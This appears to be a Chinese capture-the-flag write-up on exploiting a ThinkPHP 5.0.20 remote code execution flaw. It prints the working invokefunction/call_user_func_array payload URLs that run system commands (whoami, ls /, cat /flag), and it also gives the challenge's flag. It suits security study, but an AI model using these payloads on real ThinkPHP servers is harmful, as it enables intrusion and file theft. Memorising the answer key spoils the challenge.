一、解题思考过程
1.查看题目并进入题目场景
3.查询资料
3.1 rce是远程代码执行漏洞
远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。
该漏洞是由于ThinkPHP5在处理控制器传参时,没有对参数进行充分的过滤与验证,导致恶意用户可以通过提交恶意数据,构造出一个带有PHP函数的控制器方法,并通过URL参数的形式访问该方法,从而触发远程代码执行漏洞。
漏洞产生的根本原因是服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
说人话就是:ThinkPHP5这个版本的框架存在远程代码执行的漏洞,我们要利用这些漏洞来得到框架内的flag文件
3.2查询ThinkPHP5的漏洞
找到之后随便拿一个漏洞进行试验
发现题目场景中的thinkPHP版本是v5.0.20,而我们找的这个漏洞是未知版本的,可能不属于当前网页版本的漏洞,所以页面错误!
继续寻找当前版本的漏洞:
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat
/flag
4.得到flag
4.1拿到版本信息
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
代码具体意义:
4.2查看根目录下的文件
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
有跟flag相关的东西
4.3查看flag相关的文件
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag
4.4利用漏洞
使用cat命令读取flag Payload,得到flag!
URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
4.5答案
flag{thinkphp5_rce}
注意得到flag的这个界面有俩重复的,只提交flag{thinkphp5_rce}即可
二、总结
1.本题原理:ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。
2.本题学习目标:掌握框架漏洞,知道某个网页使用的框架版本,就可以去百度该版本的漏洞,网上一抓一大把,从而就能够利用该漏洞获得想要的信息
3.举一反三,法力无边哦~~~